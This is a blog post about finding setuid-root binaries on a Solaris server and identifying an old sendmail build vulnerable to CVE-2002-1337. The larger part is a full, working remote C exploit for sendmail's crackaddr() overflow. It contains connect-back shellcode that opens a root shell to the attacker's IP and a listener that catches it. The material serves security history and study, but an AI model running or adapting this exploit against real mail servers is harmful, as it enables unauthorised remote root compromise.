Finding all suid programs on Sparc machine leads to Pwnage
Find all Suid programs on disk
find -follow -user root -perm -4000 -exec ls -lLdb {} \; 2>/dev/null
Example Output
-r-sr-xr-x 1 root 7240 Apr 10 2003 /usr/lib/utmp_update -r-s--x--x 1 root 19696 Oct 29 2003 /usr/lib/lp/bin/netpr -r-s--x--x 1 root 6848 Oct 29 2003 /usr/lib/lpmove -r-s--x--x 1 root 22956 Oct 29 2003 /usr/lib/print/printd -rws--x--x 2 root 2139864 Jan 8 1999 /usr/lib/sendmail -rwsr-xr-x 1 root 5040 Jan 5 2000 /usr/lib/acct/accton -r-sr-xr-x 1 root 61508 Dec 8 1999 /usr/lib/fbconfig/SUNWafb_config -r-sr-xr-x 1 root 291016 Aug 22 2003 /usr/lib/fbconfig/TSIgfxp_config
I love it!!
It led to me find this gem on the server:
[pts/1][~] grep sendmail tools/tmp/suid_files_blade72 -rws--x--x 2 root 2139864 Jan 8 1999 /usr/lib/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /lib/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /sbin/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /sbin/sendmail-8.8.8.SunOS.5.6.sun4 ---s--s--t 1 root 614400 Dec 29 1997 /home/rickm/p/sources/sendmail-8.8.8/src/obj.SunOS.4.1.4.sun4/sendmail ---s--s--t 1 root 614400 Dec 29 1997 /home/rickm/public_html/sources/sendmail-8.8.8/src/obj.SunOS.4.1.4.sun4/sendmail ---s--s--t 1 root 614400 Dec 29 1997 /home/rickm/public_html/sources/sendmail-8.8.8/src/obj.SunOS.4.1.4.sun4/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /config/links/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /config/Usr/sun4-sos4/lib/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /config/Usr/sun4-sunos5.7/lib/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /config/Usr/sun4-sunos5.6/lib/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /data/config/links/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /data/config/Usr/sun4-sos4/lib/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /data/config/Usr/sun4-sunos5.7/lib/sendmail -rws--x--x 2 root 2139864 Jan 8 1999 /data/config/Usr/sun4-sunos5.6/lib/sendmail ---s--s--t 1 root 614400 Dec 29 1997 /sources/sendmail-8.8.8/src/obj.SunOS.4.1.4.sun4/sendmail
FMI:
we notice that some binaries are different size:
[pts/1][~] /sources/sendmail-8.8.8/src/obj.SunOS.4.1.4.sun4/sendmail -d0.4 -bv bazz > /tmp/1; /usr/lib/sendmail -d0.4 -bv bazz > /tmp/2; diff /tmp/1 /tmp/2 2,3c2,3 < Compiled with: LOG MIME7TO8 MIME8TO7 NAMED_BIND NETINET NETUNIX NEWDB < NIS QUEUE SCANF SMTP USERDB XDEBUG --- > Compiled with: LOG <strong>MATCHGECOS</strong> MIME7TO8 MIME8TO7 NAMED_BIND NETINET > NETUNIX NEWDB NIS QUEUE SCANF SMTP USERDB XDEBUG [pts/1][~]
The added module.. What’s gecos?
Turns out that this is vulnerable to stack overflow 8) : CVE-2002-1337 How cool is that?! 1337 :D
grab old source code here: ftp://ftp.sendmail.org/pub/sendmail/past-releases/
Update
Turns out that this bug does not cause a crash on target Solaris 8 system. So I’m ditching.
Reference: http://www.ouah.org/LSDsendmail.html
for archival purpose, some remote exploit code on x86 :
/* Sendmail <8.12.8 crackaddr() exploit by bysin */ /* from the l33tsecurity crew */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <unistd.h> #include <netdb.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> int maxarch=1; struct arch { char *os; int angle,nops; unsigned long aptr; } archs[] = { {"Slackware 8.0 with sendmail 8.11.4",138,1,0xbfffbe34} }; ///////////////////////////////////////////////////////// #define LISTENPORT 2525 #define BUFSIZE 4096 char code[]= /* 116 bytes */ "\xeb\x02" /* jmp <shellcode+4> */ "\xeb\x08" /* jmp <shellcode+12> */ "\xe8\xf9\xff\xff\xff" /* call <shellcode+2> */ "\xcd\x7f" /* int $0x7f */ "\xc3" /* ret */ "\x5f" /* pop %edi */ "\xff\x47\x01" /* incl 0x1(%edi) */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x6a\x01" /* push $0x1 */ "\x6a\x02" /* push $0x2 */ "\x54" /* push %esp */ "\x59" /* pop %ecx */ "\xb0\x66" /* mov $0x66,%al */ "\x31\xdb" /* xor %ebx,%ebx */ "\x43" /* inc %ebx */ "\xff\xd7" /* call *%edi */ "\xba\xff\xff\xff\xff" /* mov $0xffffffff,%edx */ "\xb9\xff\xff\xff\xff" /* mov $0xffffffff,%ecx */ "\x31\xca" /* xor %ecx,%edx */ "\x52" /* push %edx */ "\xba\xfd\xff\xff\xff" /* mov $0xfffffffd,%edx */ "\xb9\xff\xff\xff\xff" /* mov $0xffffffff,%ecx */ "\x31\xca" /* xor %ecx,%edx */ "\x52" /* push %edx */ "\x54" /* push %esp */ "\x5e" /* pop %esi */ "\x6a\x10" /* push $0x10 */ "\x56" /* push %esi */ "\x50" /* push %eax */ "\x50" /* push %eax */ "\x5e" /* pop %esi */ "\x54" /* push %esp */ "\x59" /* pop %ecx */ "\xb0\x66" /* mov $0x66,%al */ "\x6a\x03" /* push $0x3 */ "\x5b" /* pop %ebx */ "\xff\xd7" /* call *%edi */ "\x56" /* push %esi */ "\x5b" /* pop %ebx */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb1\x03" /* mov $0x3,%cl */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\x3f" /* mov $0x3f,%al */ "\x49" /* dec %ecx */ "\xff\xd7" /* call *%edi */ "\x41" /* inc %ecx */ "\xe2\xf6" /* loop <shellcode+81> */ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x54" /* push %esp */ "\x5b" /* pop %ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x54" /* push %esp */ "\x59" /* pop %ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb0\x0b" /* mov $0xb,%al */ "\xff\xd7" /* call *%edi */ ; void header() { printf("\nSendmail <8.12.8 crackaddr() exploit by bysin\n"); printf(" from the l33tsecurity crew \n\n"); } void printtargets() { unsigned long i; header(); printf("\t Target\t Addr\t\t OS\n"); printf("\t-------------------------------------------\n"); for (i=0;i<maxarch;i++) printf("\t* %d\t\t 0x%08x\t %s\n",i,archs[i].aptr,archs[i].os); printf("\n"); } void writesocket(int sock, char *buf) { if (send(sock,buf,strlen(buf),0) <= 0) { printf("Error writing to socket\n"); exit(0); } } void readsocket(int sock, int response) { char temp[BUFSIZE]; memset(temp,0,sizeof(temp)); if (recv(sock,temp,sizeof(temp),0) <= 0) { printf("Error reading from socket\n"); exit(0); } if (response != atol(temp)) { printf("Bad response: %s\n",temp); exit(0); } } int readutil(int sock, int response) { char temp[BUFSIZE],*str; while(1) { fd_set readfs; struct timeval tm; FD_ZERO(&readfs); FD_SET(sock,&readfs); tm.tv_sec=1; tm.tv_usec=0; if(select(sock+1,&readfs,NULL,NULL,&tm) <= 0) return 0; memset(temp,0,sizeof(temp)); if (recv(sock,temp,sizeof(temp),0) <= 0) { printf("Error reading from socket\n"); exit(0); } str=(char*)strtok(temp,"\n"); while(str && *str) { if (atol(str) == response) return 1; str=(char*)strtok(NULL,"\n"); } } } #define NOTVALIDCHAR(c) (((c)==0x00)||((c)==0x0d)||((c)==0x0a)||((c)==0x22)||(((c)&0x7f)==0x24)||(((c)>=0x80)&&((c)<0xa0))) void findvalmask(char* val,char* mask,int len) { int i; unsigned char c,m; for(i=0;i<len;i++) { c=val[i]; m=0xff; while(NOTVALIDCHAR(c^m)||NOTVALIDCHAR(m)) m--; val[i]=c^m; mask[i]=m; } } void fixshellcode(char *host, unsigned short port) { unsigned long ip; char abuf[4],amask[4],pbuf[2],pmask[2]; if ((ip = inet_addr(host)) == -1) { struct hostent *hostm; if ((hostm=gethostbyname(host)) == NULL) { printf("Unable to resolve local address\n"); exit(0); } memcpy((char*)&ip, hostm->h_addr, hostm->h_length); } abuf[3]=(ip>>24)&0xff; abuf[2]=(ip>>16)&0xff; abuf[1]=(ip>>8)&0xff; abuf[0]=(ip)&0xff; pbuf[0]=(port>>8)&0xff; pbuf[1]=(port)&0xff; findvalmask(abuf,amask,4); findvalmask(pbuf,pmask,2); memcpy(&code[33],abuf,4); memcpy(&code[38],amask,4); memcpy(&code[48],pbuf,2); memcpy(&code[53],pmask,2); } void getrootprompt() { int sockfd,sin_size,tmpsock,i; struct sockaddr_in my_addr,their_addr; char szBuffer[1024]; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error creating listening socket\n"); return; } my_addr.sin_family = AF_INET; my_addr.sin_port = htons(LISTENPORT); my_addr.sin_addr.s_addr = INADDR_ANY; memset(&(my_addr.sin_zero), 0, 8); if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { printf("Error binding listening socket\n"); return; } if (listen(sockfd, 1) == -1) { printf("Error listening on listening socket\n"); return; } sin_size = sizeof(struct sockaddr_in); if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) { printf("Error accepting on listening socket\n"); return; } writesocket(tmpsock,"uname -a\n"); while(1) { fd_set readfs; FD_ZERO(&readfs); FD_SET(0,&readfs); FD_SET(tmpsock,&readfs); if(select(tmpsock+1,&readfs,NULL,NULL,NULL)) { int cnt; char buf[1024]; if (FD_ISSET(0,&readfs)) { if ((cnt=read(0,buf,1024)) < 1) { if(errno==EWOULDBLOCK || errno==EAGAIN) continue; else { printf("Connection closed\n"); return; } } write(tmpsock,buf,cnt); } if (FD_ISSET(tmpsock,&readfs)) { if ((cnt=read(tmpsock,buf,1024)) < 1) { if(errno==EWOULDBLOCK || errno==EAGAIN) continue; else { printf("Connection closed\n"); return; } } write(1,buf,cnt); } } } close(tmpsock); close(sockfd); return; } int main(int argc, char **argv) { struct sockaddr_in server; unsigned long ipaddr,i,bf=0; int sock,target; char tmp[BUFSIZE],buf[BUFSIZE],*p; if (argc <= 3) { printf("%s <target ip> <myip> <target number> [bruteforce start addr]\n",argv[0]); printtargets(); return 0; } target=atol(argv[3]); if (target < 0 || target >= maxarch) { printtargets(); return 0; } if (argc > 4) sscanf(argv[4],"%x",&bf); header(); fixshellcode(argv[2],LISTENPORT); if (bf && !fork()) { getrootprompt(); return 0; } bfstart: if (bf) { printf("Trying address 0x%x\n",bf); fflush(stdout); } if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Unable to create socket\n"); exit(0); } server.sin_family = AF_INET; server.sin_port = htons(25); if (!bf) { printf("Resolving address... "); fflush(stdout); } if ((ipaddr = inet_addr(argv[1])) == -1) { struct hostent *hostm; if ((hostm=gethostbyname(argv[1])) == NULL) { printf("Unable to resolve address\n"); exit(0); } memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length); } else server.sin_addr.s_addr = ipaddr; memset(&(server.sin_zero), 0, 8); if (!bf) { printf("Address found\n"); printf("Connecting... "); fflush(stdout); } if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) { printf("Unable to connect\n"); exit(0); } if (!bf) { printf("Connected!\n"); printf("Sending exploit... "); fflush(stdout); } readsocket(sock,220); writesocket(sock,"HELO yahoo.com\r\n"); readsocket(sock,250); writesocket(sock,"MAIL FROM: spiderman@yahoo.com\r\n"); readsocket(sock,250); writesocket(sock,"RCPT TO: MAILER-DAEMON\r\n"); readsocket(sock,250); writesocket(sock,"DATA\r\n"); readsocket(sock,354); memset(buf,0,sizeof(buf)); p=buf; for (i=0;i<archs[target].angle;i++) { *p++='<'; *p++='>'; } *p++='('; for (i=0;i<archs[target].nops;i++) *p++=0xf8; *p++=')'; *p++=((char*)&archs[target].aptr)[0]; *p++=((char*)&archs[target].aptr)[1]; *p++=((char*)&archs[target].aptr)[2]; *p++=((char*)&archs[target].aptr)[3]; *p++=0; sprintf(tmp,"Full-name: %s\r\n",buf); writesocket(sock,tmp); sprintf(tmp,"From: %s\r\n",buf); writesocket(sock,tmp); p=buf; archs[target].aptr+=4; *p++=((char*)&archs[target].aptr)[0]; *p++=((char*)&archs[target].aptr)[1]; *p++=((char*)&archs[target].aptr)[2]; *p++=((char*)&archs[target].aptr)[3]; for (i=0;i<0x14;i++) *p++=0xf8; archs[target].aptr+=0x18; *p++=((char*)&archs[target].aptr)[0]; *p++=((char*)&archs[target].aptr)[1]; *p++=((char*)&archs[target].aptr)[2]; *p++=((char*)&archs[target].aptr)[3]; for (i=0;i<0x4c;i++) *p++=0x01; archs[target].aptr+=0x4c+4; *p++=((char*)&archs[target].aptr)[0]; *p++=((char*)&archs[target].aptr)[1]; *p++=((char*)&archs[target].aptr)[2]; *p++=((char*)&archs[target].aptr)[3]; for (i=0;i<0x8;i++) *p++=0xf8; archs[target].aptr+=0x08+4; *p++=((char*)&archs[target].aptr)[0]; *p++=((char*)&archs[target].aptr)[1]; *p++=((char*)&archs[target].aptr)[2]; *p++=((char*)&archs[target].aptr)[3]; for (i=0;i<0x20;i++) *p++=0xf8; for (i=0;i<strlen(code);i++) *p++=code[i]; *p++=0; sprintf(tmp,"Subject: AAAAAAAAAAA%s\r\n",buf); writesocket(sock,tmp); writesocket(sock,".\r\n"); if (!bf) { printf("Exploit sent!\n"); printf("Waiting for root prompt...\n"); if (readutil(sock,451)) printf("Failed!\n"); else getrootprompt(); } else { readutil(sock,451); close(sock); bf+=4; goto bfstart; } }
Leave a Reply